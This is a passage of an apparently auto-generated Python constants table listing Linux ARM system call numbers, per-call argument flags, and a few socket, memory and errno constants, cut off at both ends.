Constant('__NR_vmsplice',(0+343))\n__NR_move_pages = Constant('__NR_move_pages',(0+344))\n__NR_getcpu = Constant('__NR_getcpu',(0+345))\n__NR_kexec_load = Constant('__NR_kexec_load',(0+347))\n__NR_utimensat = Constant('__NR_utimensat',(0+348))\n__NR_signalfd = Constant('__NR_signalfd',(0+349))\n__NR_timerfd = Constant('__NR_timerfd',(0+350))\n__NR_eventfd = Constant('__NR_eventfd',(0+351))\n__NR_fallocate = Constant('__NR_fallocate',(0+352))\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',(0+353))\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',(0+354))\n__NR_signalfd4 = Constant('__NR_signalfd4',(0+355))\n__NR_eventfd2 = Constant('__NR_eventfd2',(0+356))\n__NR_epoll_create1 = Constant('__NR_epoll_create1',(0+357))\n__NR_dup3 = Constant('__NR_dup3',(0+358))\n__NR_pipe2 = Constant('__NR_pipe2',(0+359))\n__NR_inotify_init1 = Constant('__NR_inotify_init1',(0+360))\n__NR_preadv = Constant('__NR_preadv',(0+361))\n__NR_pwritev = Constant('__NR_pwritev',(0+362))\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',(0+363))\n__NR_perf_event_open = Constant('__NR_perf_event_open',(0+364))\n__NR_recvmmsg = Constant('__NR_recvmmsg',(0+365))\n__NR_accept4 = Constant('__NR_accept4',(0+366))\n__NR_fanotify_init = Constant('__NR_fanotify_init',(0+367))\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',(0+368))\n__NR_prlimit64 = Constant('__NR_prlimit64',(0+369))\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',(0+370))\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',(0+371))\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',(0+372))\n__NR_syncfs = Constant('__NR_syncfs',(0+373))\n__NR_sendmmsg = Constant('__NR_sendmmsg',(0+374))\n__NR_setns = Constant('__NR_setns',(0+375))\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',(0+376))\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',(0+377))\n__NR_kcmp = Constant('__NR_kcmp',(0+378))\n__NR_finit_module = Constant('__NR_finit_module',(0+379))\n__NR_sched_setattr = Constant('__NR_sched_setattr',(0+380))\n__NR_sched_getattr = Constant('__NR_sched_getattr',(0+381))\n__NR_renameat2 = Constant('__NR_renameat2',(0+382))\n__NR_seccomp = Constant('__NR_seccomp',(0+383))\n__NR_getrandom = Constant('__NR_getrandom',(0+384))\n__NR_memfd_create = Constant('__NR_memfd_create',(0+385))\n__NR_bpf = Constant('__NR_bpf',(0+386))\n__NR_execveat = Constant('__NR_execveat',(0+387))\n__NR_userfaultfd = Constant('__NR_userfaultfd',(0+388))\n__NR_membarrier = Constant('__NR_membarrier',(0+389))\n__NR_mlock2 = Constant('__NR_mlock2',(0+390))\n__NR_copy_file_range = Constant('__NR_copy_file_range',(0+391))\n__NR_preadv2 = Constant('__NR_preadv2',(0+392))\n__NR_pwritev2 = Constant('__NR_pwritev2',(0+393))\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',(0 + 394))\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',(0 + 395))\n__NR_pkey_free = Constant('__NR_pkey_free',(0 + 396))\n__NR_statx = Constant('__NR_statx',(0 + 397))\n__NR_rseq = Constant('__NR_rseq',(0 + 398))\n__NR_io_pgetevents = Constant('__NR_io_pgetevents',(0 + 399))\n__NR_migrate_pages = Constant('__NR_migrate_pages',(0 + 400))\n__NR_kexec_file_load = Constant('__NR_kexec_file_load',(0 + 401))\n__NR_clock_gettime64 = Constant('__NR_clock_gettime64',(0 + 403))\n__NR_clock_settime64 = Constant('__NR_clock_settime64',(0 + 404))\n__NR_clock_adjtime64 = Constant('__NR_clock_adjtime64',(0 + 405))\n__NR_clock_getres_time64 = Constant('__NR_clock_getres_time64',(0 + 406))\n__NR_clock_nanosleep_time64 = Constant('__NR_clock_nanosleep_time64',(0 + 407))\n__NR_timer_gettime64 = Constant('__NR_timer_gettime64',(0 + 408))\n__NR_timer_settime64 = Constant('__NR_timer_settime64',(0 + 409))\n__NR_timerfd_gettime64 = Constant('__NR_timerfd_gettime64',(0 + 410))\n__NR_timerfd_settime64 = Constant('__NR_timerfd_settime64',(0 + 411))\n__NR_utimensat_time64 = Constant('__NR_utimensat_time64',(0 + 412))\n__NR_pselect6_time64 = Constant('__NR_pselect6_time64',(0 + 413))\n__NR_ppoll_time64 = Constant('__NR_ppoll_time64',(0 + 414))\n__NR_io_pgetevents_time64 = Constant('__NR_io_pgetevents_time64',(0 + 416))\n__NR_recvmmsg_time64 = Constant('__NR_recvmmsg_time64',(0 + 417))\n__NR_mq_timedsend_time64 = Constant('__NR_mq_timedsend_time64',(0 + 418))\n__NR_mq_timedreceive_time64 = Constant('__NR_mq_timedreceive_time64',(0 + 419))\n__NR_semtimedop_time64 = Constant('__NR_semtimedop_time64',(0 + 420))\n__NR_rt_sigtimedwait_time64 = Constant('__NR_rt_sigtimedwait_time64',(0 + 421))\n__NR_futex_time64 = Constant('__NR_futex_time64',(0 + 422))\n__NR_sched_rr_get_interval_time64 = Constant('__NR_sched_rr_get_interval_time64',(0 + 423))\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',(0 + 424))\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',(0 + 425))\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',(0 + 426))\n__NR_io_uring_register = Constant('__NR_io_uring_register',(0 + 427))\n__NR_open_tree = Constant('__NR_open_tree',(0 + 428))\n__NR_move_mount = Constant('__NR_move_mount',(0 + 429))\n__NR_fsopen = Constant('__NR_fsopen',(0 + 430))\n__NR_fsconfig = Constant('__NR_fsconfig',(0 + 431))\n__NR_fsmount = Constant('__NR_fsmount',(0 + 432))\n__NR_fspick = Constant('__NR_fspick',(0 + 433))\n__NR_pidfd_open = Constant('__NR_pidfd_open',(0 + 434))\n__NR_clone3 = Constant('__NR_clone3',(0 + 435))\n__NR_openat2 = Constant('__NR_openat2',(0 + 437))\n__NR_pidfd_getfd = Constant('__NR_pidfd_getfd',(0 + 438))\n__ARM_NR_BASE = Constant('__ARM_NR_BASE',(0+0x0f0000))\n__ARM_NR_breakpoint = Constant('__ARM_NR_breakpoint',((0+0x0f0000)+1))\n__ARM_NR_cacheflush = Constant('__ARM_NR_cacheflush',((0+0x0f0000)+2))\n__ARM_NR_usr26 = Constant('__ARM_NR_usr26',((0+0x0f0000)+3))\n__ARM_NR_usr32 = Constant('__ARM_NR_usr32',((0+0x0f0000)+4))\n__ARM_NR_set_tls = Constant('__ARM_NR_set_tls',((0+0x0f0000)+5))\n__ARGS_exit = Constant('__ARGS_exit',0)\n__ARGS_fork = Constant('__ARGS_fork',0)\n__ARGS_read = Constant('__ARGS_read',0)\n__ARGS_write = Constant('__ARGS_write',0)\n__ARGS_open = Constant('__ARGS_open',0)\n__ARGS_close = Constant('__ARGS_close',0)\n__ARGS_waitpid = Constant('__ARGS_waitpid',0)\n__ARGS_creat = Constant('__ARGS_creat',0)\n__ARGS_link = Constant('__ARGS_link',0)\n__ARGS_unlink = Constant('__ARGS_unlink',0)\n__ARGS_execve = Constant('__ARGS_execve',0)\n__ARGS_chdir = Constant('__ARGS_chdir',0)\n__ARGS_time = Constant('__ARGS_time',0)\n__ARGS_mknod = Constant('__ARGS_mknod',0)\n__ARGS_chmod = Constant('__ARGS_chmod',0)\n__ARGS_lchown = Constant('__ARGS_lchown',0)\n__ARGS_break = Constant('__ARGS_break',0)\n__ARGS_lseek = Constant('__ARGS_lseek',0)\n__ARGS_getpid = Constant('__ARGS_getpid',0)\n__ARGS_mount = Constant('__ARGS_mount',1)\n__ARGS_umount = Constant('__ARGS_umount',0)\n__ARGS_setuid = Constant('__ARGS_setuid',0)\n__ARGS_getuid = Constant('__ARGS_getuid',0)\n__ARGS_stime = Constant('__ARGS_stime',0)\n__ARGS_ptrace = Constant('__ARGS_ptrace',0)\n__ARGS_alarm = Constant('__ARGS_alarm',0)\n__ARGS_pause = Constant('__ARGS_pause',0)\n__ARGS_utime = Constant('__ARGS_utime',0)\n__ARGS_stty = Constant('__ARGS_stty',0)\n__ARGS_gtty = Constant('__ARGS_gtty',0)\n__ARGS_access = Constant('__ARGS_access',0)\n__ARGS_nice = Constant('__ARGS_nice',0)\n__ARGS_ftime = Constant('__ARGS_ftime',0)\n__ARGS_sync = Constant('__ARGS_sync',0)\n__ARGS_kill = Constant('__ARGS_kill',0)\n__ARGS_rename = Constant('__ARGS_rename',0)\n__ARGS_mkdir = Constant('__ARGS_mkdir',0)\n__ARGS_rmdir = Constant('__ARGS_rmdir',0)\n__ARGS_dup = Constant('__ARGS_dup',0)\n__ARGS_pipe = Constant('__ARGS_pipe',0)\n__ARGS_times = Constant('__ARGS_times',0)\n__ARGS_prof = Constant('__ARGS_prof',0)\n__ARGS_brk = Constant('__ARGS_brk',0)\n__ARGS_setgid = Constant('__ARGS_setgid',0)\n__ARGS_getgid = Constant('__ARGS_getgid',0)\n__ARGS_signal = Constant('__ARGS_signal',0)\n__ARGS_geteuid = Constant('__ARGS_geteuid',0)\n__ARGS_getegid = Constant('__ARGS_getegid',0)\n__ARGS_acct = Constant('__ARGS_acct',0)\n__ARGS_umount2 = Constant('__ARGS_umount2',0)\n__ARGS_lock = Constant('__ARGS_lock',0)\n__ARGS_ioctl = Constant('__ARGS_ioctl',0)\n__ARGS_fcntl = Constant('__ARGS_fcntl',0)\n__ARGS_mpx = Constant('__ARGS_mpx',0)\n__ARGS_setpgid = Constant('__ARGS_setpgid',0)\n__ARGS_ulimit = Constant('__ARGS_ulimit',0)\n__ARGS_umask = Constant('__ARGS_umask',0)\n__ARGS_chroot = Constant('__ARGS_chroot',0)\n__ARGS_ustat = Constant('__ARGS_ustat',0)\n__ARGS_dup2 = Constant('__ARGS_dup2',0)\n__ARGS_getppid = Constant('__ARGS_getppid',0)\n__ARGS_getpgrp = Constant('__ARGS_getpgrp',0)\n__ARGS_setsid = Constant('__ARGS_setsid',0)\n__ARGS_sigaction = Constant('__ARGS_sigaction',0)\n__ARGS_sgetmask = Constant('__ARGS_sgetmask',0)\n__ARGS_ssetmask = Constant('__ARGS_ssetmask',0)\n__ARGS_setreuid = Constant('__ARGS_setreuid',0)\n__ARGS_setregid = Constant('__ARGS_setregid',0)\n__ARGS_sigsuspend = Constant('__ARGS_sigsuspend',0)\n__ARGS_sigpending = Constant('__ARGS_sigpending',0)\n__ARGS_sethostname = Constant('__ARGS_sethostname',0)\n__ARGS_setrlimit = Constant('__ARGS_setrlimit',0)\n__ARGS_getrlimit = Constant('__ARGS_getrlimit',0)\n__ARGS_getrusage = Constant('__ARGS_getrusage',0)\n__ARGS_gettimeofday = Constant('__ARGS_gettimeofday',0)\n__ARGS_settimeofday = Constant('__ARGS_settimeofday',0)\n__ARGS_getgroups = Constant('__ARGS_getgroups',0)\n__ARGS_setgroups = Constant('__ARGS_setgroups',0)\n__ARGS_select = Constant('__ARGS_select',0)\n__ARGS_symlink = Constant('__ARGS_symlink',0)\n__ARGS_readlink = Constant('__ARGS_readlink',0)\n__ARGS_uselib = Constant('__ARGS_uselib',0)\n__ARGS_swapon = Constant('__ARGS_swapon',0)\n__ARGS_reboot = Constant('__ARGS_reboot',0)\n__ARGS_readdir = Constant('__ARGS_readdir',0)\n__ARGS_mmap = Constant('__ARGS_mmap',0)\n__ARGS_munmap = Constant('__ARGS_munmap',0)\n__ARGS_truncate = Constant('__ARGS_truncate',0)\n__ARGS_ftruncate = Constant('__ARGS_ftruncate',0)\n__ARGS_fchmod = Constant('__ARGS_fchmod',0)\n__ARGS_fchown = Constant('__ARGS_fchown',0)\n__ARGS_getpriority = Constant('__ARGS_getpriority',0)\n__ARGS_setpriority = Constant('__ARGS_setpriority',0)\n__ARGS_profil = Constant('__ARGS_profil',0)\n__ARGS_statfs = Constant('__ARGS_statfs',0)\n__ARGS_fstatfs = Constant('__ARGS_fstatfs',0)\n__ARGS_ioperm = Constant('__ARGS_ioperm',0)\n__ARGS_socketcall = Constant('__ARGS_socketcall',0)\n__ARGS_syslog = Constant('__ARGS_syslog',0)\n__ARGS_setitimer = Constant('__ARGS_setitimer',0)\n__ARGS_getitimer = Constant('__ARGS_getitimer',0)\n__ARGS_stat = Constant('__ARGS_stat',0)\n__ARGS_lstat = Constant('__ARGS_lstat',0)\n__ARGS_fstat = Constant('__ARGS_fstat',0)\n__ARGS_vhangup = Constant('__ARGS_vhangup',0)\n__ARGS_idle = Constant('__ARGS_idle',0)\n__ARGS_syscall = Constant('__ARGS_syscall',0)\n__ARGS_wait4 = Constant('__ARGS_wait4',0)\n__ARGS_swapoff = Constant('__ARGS_swapoff',0)\n__ARGS_sysinfo = Constant('__ARGS_sysinfo',0)\n__ARGS_ipc = Constant('__ARGS_ipc',1)\n__ARGS_fsync = Constant('__ARGS_fsync',0)\n__ARGS_sigreturn = Constant('__ARGS_sigreturn',0)\n__ARGS_clone = Constant('__ARGS_clone',0)\n__ARGS_setdomainname = Constant('__ARGS_setdomainname',0)\n__ARGS_uname = Constant('__ARGS_uname',0)\n__ARGS_modify_ldt = Constant('__ARGS_modify_ldt',0)\n__ARGS_adjtimex = Constant('__ARGS_adjtimex',0)\n__ARGS_mprotect = Constant('__ARGS_mprotect',0)\n__ARGS_sigprocmask = Constant('__ARGS_sigprocmask',0)\n__ARGS_create_module = Constant('__ARGS_create_module',0)\n__ARGS_init_module = Constant('__ARGS_init_module',0)\n__ARGS_delete_module = Constant('__ARGS_delete_module',0)\n__ARGS_get_kernel_syms = Constant('__ARGS_get_kernel_syms',0)\n__ARGS_quotactl = Constant('__ARGS_quotactl',0)\n__ARGS_getpgid = Constant('__ARGS_getpgid',0)\n__ARGS_fchdir = Constant('__ARGS_fchdir',0)\n__ARGS_bdflush = Constant('__ARGS_bdflush',0)\n__ARGS_sysfs = Constant('__ARGS_sysfs',0)\n__ARGS_personality = Constant('__ARGS_personality',0)\n__ARGS_afs_syscall = Constant('__ARGS_afs_syscall',0)\n__ARGS_setfsuid = Constant('__ARGS_setfsuid',0)\n__ARGS_setfsgid = Constant('__ARGS_setfsgid',0)\n__ARGS__llseek = Constant('__ARGS__llseek',1)\n__ARGS_getdents = Constant('__ARGS_getdents',0)\n__ARGS__newselect = Constant('__ARGS__newselect',1)\n__ARGS_flock = Constant('__ARGS_flock',0)\n__ARGS_msync = Constant('__ARGS_msync',0)\n__ARGS_readv = Constant('__ARGS_readv',0)\n__ARGS_writev = Constant('__ARGS_writev',0)\n__ARGS_getsid = Constant('__ARGS_getsid',0)\n__ARGS_fdatasync = Constant('__ARGS_fdatasync',0)\n__ARGS__sysctl = Constant('__ARGS__sysctl',0)\n__ARGS_mlock = Constant('__ARGS_mlock',0)\n__ARGS_munlock = Constant('__ARGS_munlock',0)\n__ARGS_mlockall = Constant('__ARGS_mlockall',0)\n__ARGS_munlockall = Constant('__ARGS_munlockall',0)\n__ARGS_sched_setparam = Constant('__ARGS_sched_setparam',0)\n__ARGS_sched_getparam = Constant('__ARGS_sched_getparam',0)\n__ARGS_sched_setscheduler = Constant('__ARGS_sched_setscheduler',0)\n__ARGS_sched_getscheduler = Constant('__ARGS_sched_getscheduler',0)\n__ARGS_sched_yield = Constant('__ARGS_sched_yield',0)\n__ARGS_sched_get_priority_max = Constant('__ARGS_sched_get_priority_max',0)\n__ARGS_sched_get_priority_min = Constant('__ARGS_sched_get_priority_min',0)\n__ARGS_sched_rr_get_interval = Constant('__ARGS_sched_rr_get_interval',0)\n__ARGS_nanosleep = Constant('__ARGS_nanosleep',0)\n__ARGS_mremap = Constant('__ARGS_mremap',0)\n__ARGS_setresuid = Constant('__ARGS_setresuid',0)\n__ARGS_getresuid = Constant('__ARGS_getresuid',0)\n__ARGS_vm86 = Constant('__ARGS_vm86',0)\n__ARGS_query_module = Constant('__ARGS_query_module',1)\n__ARGS_poll = Constant('__ARGS_poll',0)\n__ARGS_nfsservctl = Constant('__ARGS_nfsservctl',0)\n__ARGS_setresgid = Constant('__ARGS_setresgid',0)\n__ARGS_getresgid = Constant('__ARGS_getresgid',0)\n__ARGS_prctl = Constant('__ARGS_prctl',1)\n__ARGS_rt_sigreturn = Constant('__ARGS_rt_sigreturn',0)\n__ARGS_rt_sigaction = Constant('__ARGS_rt_sigaction',0)\n__ARGS_rt_sigprocmask = Constant('__ARGS_rt_sigprocmask',0)\n__ARGS_rt_sigpending = Constant('__ARGS_rt_sigpending',0)\n__ARGS_rt_sigtimedwait = Constant('__ARGS_rt_sigtimedwait',0)\n__ARGS_rt_sigqueueinfo = Constant('__ARGS_rt_sigqueueinfo',0)\n__ARGS_rt_sigsuspend = Constant('__ARGS_rt_sigsuspend',0)\n__ARGS_pread = Constant('__ARGS_pread',0)\n__ARGS_pwrite = Constant('__ARGS_pwrite',0)\n__ARGS_pread64 = Constant('__ARGS_pread64',0)\n__ARGS_pwrite64 = Constant('__ARGS_pwrite64',0)\n__ARGS_chown = Constant('__ARGS_chown',0)\n__ARGS_getcwd = Constant('__ARGS_getcwd',0)\n__ARGS_capget = Constant('__ARGS_capget',0)\n__ARGS_capset = Constant('__ARGS_capset',0)\n__ARGS_sigaltstack = Constant('__ARGS_sigaltstack',0)\n__ARGS_sendfile = Constant('__ARGS_sendfile',0)\n__ARGS_vfork = Constant('__ARGS_vfork',0)\n__ARGS_ugetrlimit = Constant('__ARGS_ugetrlimit',0)\n__ARGS_mmap2 = Constant('__ARGS_mmap2',1)\n__ARGS_truncate64 = Constant('__ARGS_truncate64',0)\n__ARGS_ftruncate64 = Constant('__ARGS_ftruncate64',0)\n__ARGS_stat64 = Constant('__ARGS_stat64',0)\n__ARGS_lstat64 = Constant('__ARGS_lstat64',0)\n__ARGS_fstat64 = Constant('__ARGS_fstat64',0)\n__ARGS_lchown32 = Constant('__ARGS_lchown32',0)\n__ARGS_getuid32 = Constant('__ARGS_getuid32',0)\n__ARGS_getgid32 = Constant('__ARGS_getgid32',0)\n__ARGS_geteuid32 = Constant('__ARGS_geteuid32',0)\n__ARGS_getegid32 = Constant('__ARGS_getegid32',0)\n__ARGS_setreuid32 = Constant('__ARGS_setreuid32',0)\n__ARGS_setregid32 = Constant('__ARGS_setregid32',0)\n__ARGS_getgroups32 = Constant('__ARGS_getgroups32',0)\n__ARGS_setgroups32 = Constant('__ARGS_setgroups32',0)\n__ARGS_fchown32 = Constant('__ARGS_fchown32',0)\n__ARGS_setresuid32 = Constant('__ARGS_setresuid32',0)\n__ARGS_getresuid32 = Constant('__ARGS_getresuid32',0)\n__ARGS_setresgid32 = Constant('__ARGS_setresgid32',0)\n__ARGS_getresgid32 = Constant('__ARGS_getresgid32',0)\n__ARGS_chown32 = Constant('__ARGS_chown32',0)\n__ARGS_setuid32 = Constant('__ARGS_setuid32',0)\n__ARGS_setgid32 = Constant('__ARGS_setgid32',0)\n__ARGS_setfsuid32 = Constant('__ARGS_setfsuid32',0)\n__ARGS_setfsgid32 = Constant('__ARGS_setfsgid32',0)\n__ARGS_getdents64 = Constant('__ARGS_getdents64',0)\n__ARGS_pivot_root = Constant('__ARGS_pivot_root',0)\n__ARGS_mincore = Constant('__ARGS_mincore',0)\n__ARGS_madvise = Constant('__ARGS_madvise',0)\n__ARGS_fcntl64 = Constant('__ARGS_fcntl64',0)\n__ARGS_security = Constant('__ARGS_security',0)\n__ARGS_gettid = Constant('__ARGS_gettid',0)\n__ARGS_readahead = Constant('__ARGS_readahead',0)\n__ARGS_setxattr = Constant('__ARGS_setxattr',1)\n__ARGS_lsetxattr = Constant('__ARGS_lsetxattr',1)\n__ARGS_fsetxattr = Constant('__ARGS_fsetxattr',1)\n__ARGS_getxattr = Constant('__ARGS_getxattr',0)\n__ARGS_lgetxattr = Constant('__ARGS_lgetxattr',0)\n__ARGS_fgetxattr = Constant('__ARGS_fgetxattr',0)\n__ARGS_listxattr = Constant('__ARGS_listxattr',0)\n__ARGS_llistxattr = Constant('__ARGS_llistxattr',0)\n__ARGS_flistxattr = Constant('__ARGS_flistxattr',0)\n__ARGS_removexattr = Constant('__ARGS_removexattr',0)\n__ARGS_lremovexattr = Constant('__ARGS_lremovexattr',0)\n__ARGS_fremovexattr = Constant('__ARGS_fremovexattr',0)\n__ARGS_tkill = Constant('__ARGS_tkill',0)\n__ARGS_sendfile64 = Constant('__ARGS_sendfile64',0)\n__ARGS_futex = Constant('__ARGS_futex',0)\n__ARGS_sched_setaffinity = Constant('__ARGS_sched_setaffinity',0)\n__ARGS_sched_getaffinity = Constant('__ARGS_sched_getaffinity',0)\n__ARGS_io_setup = Constant('__ARGS_io_setup',0)\n__ARGS_io_destroy = Constant('__ARGS_io_destroy',0)\n__ARGS_io_getevents = Constant('__ARGS_io_getevents',0)\n__ARGS_io_submit = Constant('__ARGS_io_submit',0)\n__ARGS_io_cancel = Constant('__ARGS_io_cancel',0)\n__ARGS_exit_group = Constant('__ARGS_exit_group',0)\n__ARGS_lookup_dcookie = Constant('__ARGS_lookup_dcookie',0)\n__ARGS_epoll_create = Constant('__ARGS_epoll_create',0)\n__ARGS_epoll_ctl = Constant('__ARGS_epoll_ctl',0)\n__ARGS_epoll_wait = Constant('__ARGS_epoll_wait',0)\n__ARGS_remap_file_pages = Constant('__ARGS_remap_file_pages',0)\n__ARGS_set_thread_area = Constant('__ARGS_set_thread_area',0)\n__ARGS_get_thread_area = Constant('__ARGS_get_thread_area',0)\n__ARGS_set_tid_address = Constant('__ARGS_set_tid_address',0)\n__ARGS_timer_create = Constant('__ARGS_timer_create',0)\n__ARGS_timer_settime = Constant('__ARGS_timer_settime',0)\n__ARGS_timer_gettime = Constant('__ARGS_timer_gettime',0)\n__ARGS_timer_getoverrun = Constant('__ARGS_timer_getoverrun',0)\n__ARGS_timer_delete = Constant('__ARGS_timer_delete',0)\n__ARGS_clock_settime = Constant('__ARGS_clock_settime',0)\n__ARGS_clock_gettime = Constant('__ARGS_clock_gettime',0)\n__ARGS_clock_getres = Constant('__ARGS_clock_getres',0)\n__ARGS_clock_nanosleep = Constant('__ARGS_clock_nanosleep',0)\n__ARGS_statfs64 = Constant('__ARGS_statfs64',0)\n__ARGS_fstatfs64 = Constant('__ARGS_fstatfs64',0)\n__ARGS_tgkill = Constant('__ARGS_tgkill',0)\n__ARGS_utimes = Constant('__ARGS_utimes',0)\n__ARGS_arm_fadvise64_64 = Constant('__ARGS_arm_fadvise64_64',1)\n__ARGS_fadvise64 = Constant('__ARGS_fadvise64',0)\n__ARGS_fadvise64_64 = Constant('__ARGS_fadvise64_64',0)\n__ARGS_pciconfig_iobase = Constant('__ARGS_pciconfig_iobase',0)\n__ARGS_pciconfig_read = Constant('__ARGS_pciconfig_read',1)\n__ARGS_pciconfig_write = Constant('__ARGS_pciconfig_write',1)\n__ARGS_mq_open = Constant('__ARGS_mq_open',0)\n__ARGS_mq_unlink = Constant('__ARGS_mq_unlink',0)\n__ARGS_mq_timedsend = Constant('__ARGS_mq_timedsend',0)\n__ARGS_mq_timedreceive = Constant('__ARGS_mq_timedreceive',1)\n__ARGS_mq_notify = Constant('__ARGS_mq_notify',0)\n__ARGS_mq_getsetattr = Constant('__ARGS_mq_getsetattr',0)\n__ARGS_waitid = Constant('__ARGS_waitid',0)\n__ARGS_socket = Constant('__ARGS_socket',0)\n__ARGS_bind = Constant('__ARGS_bind',0)\n__ARGS_connect = Constant('__ARGS_connect',0)\n__ARGS_listen = Constant('__ARGS_listen',0)\n__ARGS_accept = Constant('__ARGS_accept',0)\n__ARGS_getsockname = Constant('__ARGS_getsockname',0)\n__ARGS_getpeername = Constant('__ARGS_getpeername',0)\n__ARGS_socketpair = Constant('__ARGS_socketpair',0)\n__ARGS_send = Constant('__ARGS_send',0)\n__ARGS_sendto = Constant('__ARGS_sendto',1)\n__ARGS_recv = Constant('__ARGS_recv',0)\n__ARGS_recvfrom = Constant('__ARGS_recvfrom',1)\n__ARGS_shutdown = Constant('__ARGS_shutdown',0)\n__ARGS_setsockopt = Constant('__ARGS_setsockopt',0)\n__ARGS_getsockopt = Constant('__ARGS_getsockopt',0)\n__ARGS_sendmsg = Constant('__ARGS_sendmsg',0)\n__ARGS_recvmsg = Constant('__ARGS_recvmsg',0)\n__ARGS_semop = Constant('__ARGS_semop',0)\n__ARGS_semget = Constant('__ARGS_semget',0)\n__ARGS_semctl = Constant('__ARGS_semctl',0)\n__ARGS_msgsnd = Constant('__ARGS_msgsnd',0)\n__ARGS_msgrcv = Constant('__ARGS_msgrcv',0)\n__ARGS_msgget = Constant('__ARGS_msgget',0)\n__ARGS_msgctl = Constant('__ARGS_msgctl',0)\n__ARGS_shmat = Constant('__ARGS_shmat',0)\n__ARGS_shmdt = Constant('__ARGS_shmdt',0)\n__ARGS_shmget = Constant('__ARGS_shmget',0)\n__ARGS_shmctl = Constant('__ARGS_shmctl',0)\n__ARGS_add_key = Constant('__ARGS_add_key',1)\n__ARGS_request_key = Constant('__ARGS_request_key',1)\n__ARGS_keyctl = Constant('__ARGS_keyctl',0)\n__ARGS_vserver = Constant('__ARGS_vserver',0)\n__ARGS_ioprio_set = Constant('__ARGS_ioprio_set',0)\n__ARGS_ioprio_get = Constant('__ARGS_ioprio_get',0)\n__ARGS_inotify_init = Constant('__ARGS_inotify_init',0)\n__ARGS_inotify_add_watch = Constant('__ARGS_inotify_add_watch',0)\n__ARGS_inotify_rm_watch = Constant('__ARGS_inotify_rm_watch',0)\n__ARGS_mbind = Constant('__ARGS_mbind',1)\n__ARGS_get_mempolicy = Constant('__ARGS_get_mempolicy',1)\n__ARGS_set_mempolicy = Constant('__ARGS_set_mempolicy',1)\n__ARGS_openat = Constant('__ARGS_openat',0)\n__ARGS_mkdirat = Constant('__ARGS_mkdirat',0)\n__ARGS_mknodat = Constant('__ARGS_mknodat',0)\n__ARGS_fchownat = Constant('__ARGS_fchownat',1)\n__ARGS_futimesat = Constant('__ARGS_futimesat',0)\n__ARGS_fstatat64 = Constant('__ARGS_fstatat64',0)\n__ARGS_unlinkat = Constant('__ARGS_unlinkat',0)\n__ARGS_renameat = Constant('__ARGS_renameat',0)\n__ARGS_linkat = Constant('__ARGS_linkat',1)\n__ARGS_symlinkat = Constant('__ARGS_symlinkat',0)\n__ARGS_readlinkat = Constant('__ARGS_readlinkat',0)\n__ARGS_fchmodat = Constant('__ARGS_fchmodat',0)\n__ARGS_faccessat = Constant('__ARGS_faccessat',0)\n__ARGS_unshare = Constant('__ARGS_unshare',0)\n__ARGS_set_robust_list = Constant('__ARGS_set_robust_list',0)\n__ARGS_get_robust_list = Constant('__ARGS_get_robust_list',0)\n__ARGS_splice = Constant('__ARGS_splice',1)\n__ARGS_arm_sync_file_range = Constant('__ARGS_arm_sync_file_range',0)\n__ARGS_sync_file_range2 = Constant('__ARGS_sync_file_range2',0)\n__ARGS_tee = Constant('__ARGS_tee',0)\n__ARGS_vmsplice = Constant('__ARGS_vmsplice',0)\n__ARGS_move_pages = Constant('__ARGS_move_pages',1)\n__ARGS_getcpu = Constant('__ARGS_getcpu',0)\n__ARGS_kexec_load = Constant('__ARGS_kexec_load',0)\n__ARGS_utimensat = Constant('__ARGS_utimensat',0)\n__ARGS_signalfd = Constant('__ARGS_signalfd',0)\n__ARGS_timerfd = Constant('__ARGS_timerfd',0)\n__ARGS_eventfd = Constant('__ARGS_eventfd',0)\n__ARGS_fallocate = Constant('__ARGS_fallocate',0)\n__ARGS_timerfd_settime = Constant('__ARGS_timerfd_settime',0)\n__ARGS_timerfd_gettime = Constant('__ARGS_timerfd_gettime',0)\n__ARGS_signalfd4 = Constant('__ARGS_signalfd4',0)\n__ARGS_eventfd2 = Constant('__ARGS_eventfd2',0)\n__ARGS_epoll_create1 = Constant('__ARGS_epoll_create1',0)\n__ARGS_dup3 = Constant('__ARGS_dup3',0)\n__ARGS_pipe2 = Constant('__ARGS_pipe2',0)\n__ARGS_inotify_init1 = Constant('__ARGS_inotify_init1',0)\n__ARGS_preadv = Constant('__ARGS_preadv',0)\n__ARGS_pwritev = Constant('__ARGS_pwritev',0)\n__ARGS_rt_tgsigqueueinfo = Constant('__ARGS_rt_tgsigqueueinfo',0)\n__ARGS_perf_event_open = Constant('__ARGS_perf_event_open',1)\n__ARGS_recvmmsg = Constant('__ARGS_recvmmsg',1)\n__ARGS_accept4 = Constant('__ARGS_accept4',0)\n__ARGS_fanotify_init = Constant('__ARGS_fanotify_init',0)\n__ARGS_fanotify_mark = Constant('__ARGS_fanotify_mark',1)\n__ARGS_prlimit64 = Constant('__ARGS_prlimit64',0)\n__ARGS_name_to_handle_at = Constant('__ARGS_name_to_handle_at',1)\n__ARGS_open_by_handle_at = Constant('__ARGS_open_by_handle_at',0)\n__ARGS_clock_adjtime = Constant('__ARGS_clock_adjtime',0)\n__ARGS_syncfs = Constant('__ARGS_syncfs',0)\n__ARGS_sendmmsg = Constant('__ARGS_sendmmsg',0)\n__ARGS_setns = Constant('__ARGS_setns',0)\n__ARGS_process_vm_readv = Constant('__ARGS_process_vm_readv',1)\n__ARGS_process_vm_writev = Constant('__ARGS_process_vm_writev',1)\n__ARGS_kcmp = Constant('__ARGS_kcmp',1)\n__ARGS_finit_module = Constant('__ARGS_finit_module',0)\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = 